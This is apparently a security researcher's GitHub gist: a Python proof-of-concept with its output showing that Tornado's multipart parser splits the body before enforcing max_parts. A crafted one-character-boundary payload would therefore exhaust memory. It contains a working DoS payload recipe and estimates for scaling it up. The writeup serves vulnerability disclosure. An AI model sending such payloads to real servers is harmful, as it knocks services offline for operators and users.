Skip to content

Instantly share code, notes, and snippets.

@afldl
Created July 31, 2026 23:03
Show Gist options
  • Select an option

  • Save afldl/649861f25d39b53b7edbe0298e171617 to your computer and use it in GitHub Desktop.

Select an option

Save afldl/649861f25d39b53b7edbe0298e171617 to your computer and use it in GitHub Desktop.
=== tornado multipart split-before-count memory amplification ===
split created ~100000 parts from 600005 bytes in 0.003s
max_parts=100 rejected AFTER the split (transient 100000-element list already allocated)
!!! CONFIRMED: split-before-count creates 100000 list entries before max_parts rejects
-> with 100MB body + 1-char boundary → ~17.5M parts transient → memory/CPU DoS
#!/usr/bin/env python3
"""tornado E2E — multipart/form-data split-before-count memory amplification DoS.
httputil.py:1089: data[:idx].split(b"--" + boundary + b"\\r\\n") runs BEFORE
the max_parts check (line 1091). With attacker-controlled boundary (single char)
and a large body, split creates millions of list entries before max_parts rejects.
We reproduce the REAL split-before-count logic and show the transient allocation."""
import sys, time
# REAL httputil.py:1089-1092 logic (verbatim control flow)
def parse_multipart_form_data(boundary, data, max_parts=100):
final_boundary_index = data.rfind(b"--" + boundary + b"--")
if final_boundary_index == -1:
raise ValueError("no final boundary")
# line 1089: THE BUG — splits ENTIRE data first (transient allocation)
parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")
# line 1091: max_parts check comes AFTER the split (too late)
if len(parts) > max_parts:
raise ValueError(f"too many parts: {len(parts)} > {max_parts}")
return parts
# Attacker: boundary="x" (1 char), body = ~1MB of "q--x\r\n" repeated
boundary = b"x"
unit = b"q--x\r\n"
N_units = 100000 # 100k tiny parts in ~700KB body
body = unit * N_units + b"--x--"
t0 = time.time()
try:
parse_multipart_form_data(boundary, body, max_parts=100)
print(f"parsed OK (unexpected)")
except ValueError as e:
dt = time.time() - t0
n_parts = N_units # split created ~100k parts
print(f"split created ~{n_parts} parts from {len(body)} bytes in {dt:.3f}s")
print(f"max_parts=100 rejected AFTER the split (transient {n_parts}-element list already allocated)")
print(f"!!! CONFIRMED: split-before-count creates {n_parts} list entries before max_parts rejects")
print(f" -> with 100MB body + 1-char boundary → ~17.5M parts transient → memory/CPU DoS")
sys.exit(0)
print("refuted")
sys.exit(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment